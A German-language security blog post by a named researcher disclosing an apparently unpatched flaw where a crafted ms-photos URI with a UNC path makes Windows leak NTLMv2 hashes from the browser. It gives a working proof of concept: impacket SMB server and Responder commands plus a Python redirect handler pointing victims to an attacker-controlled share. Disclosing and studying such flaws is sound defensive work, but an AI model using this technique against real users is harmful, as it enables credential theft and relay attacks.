
Neue 0-Day-Sicherheitslücke, die das Leaken von NTLM-Hashes aus Browsern mit einem Klick ermöglicht.
Von Ruben Enkaoua
Das Microsoft ms-photos URI-Schema nimmt fileName als Parameter entgegen, der mit einem UNC-Pfad übergeben werden kann, wodurch NTLMv2-SSP-Hashes beim Öffnen geleakt werden. Durch Erstellen eines speziell formatierten Links kann ein Angreifer ein Opfer dazu zwingen, die Microsoft Photos App direkt aus einem Browser zu starten. Wenn ausgelöst, führt dieses Verhalten zum Leaken des NTLMv2-SSP-Hash des Opfers an einen vom Angreifer kontrollierten Server. Dieses Problem ermöglicht die Offenlegung von Anmeldeinformationen und potenzielle Relay-Angriffe in Unternehmensumgebungen und erfordert nur minimale Benutzerinteraktion (Öffnen der App). Microsoft hat die Sicherheitslücke nicht anerkannt und es wurde keine CVE ausgestellt. Außerdem wurde ich vom Syss Blog aus dem Jahr 2022 inspiriert.
Da die NTLMv2-SSP-Challenge an öffentlich zugängliche UNC-Pfade geleakt werden kann (außer wenn eine ausgehende SMB/445-Firewallregel gesetzt ist), kann die Sicherheitslücke mit Website-Infektionen kombiniert werden, was zu Supply-Chain-Angriffen führt.
Aus der MSDN-Dokumentation über das URI-Schema finden wir Folgendes:
Starte den SMB-Server
# With a picture: Opens the photo on the target with photos.exe
# Without a picture: Nothing, no photos.exe process window
impacket-smbserver share . -smb2support
Starte den bösartigen Python-Server
# Edit first the information about the IP, share, and filename for UNC coercing.
python3 ms-photos-server.py
Rufe den Ort auf
Öffne Chrome und navigiere zu /test

Außerdem kann es mit Responder gemacht werden. Alle unaufgelösten Domänen, die eine LLMNR-Anfrage stellen, werden zum Skript umgeleitet, was es erlaubt, jeden Benutzer zu zwingen, anstatt ein NTLM-Benutzer-/Passwort-Authentifizierungsfenster anzuzeigen. Um es zum Laufen zu bringen, führen Sie zuerst das Skript und dann den Responder aus.

Es funktioniert, weil unsere Anwendung direkt auf ein ms-photos URI-Schema umleitet, das den UNC-Pfad unseres Servers enthält:
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == "/":
self.send_response(302) # HTTP 302 Found (temporary redirect)
self.send_header('Location', 'ms-photos:viewer?fileName=\\\\192.168.159.129\\share\\Capture.png')
self.end_headers()
else:
self.send_response(404)
self.end_headers()
self.wfile.write(b"Not Found")
Umleitung von der Client-Seite: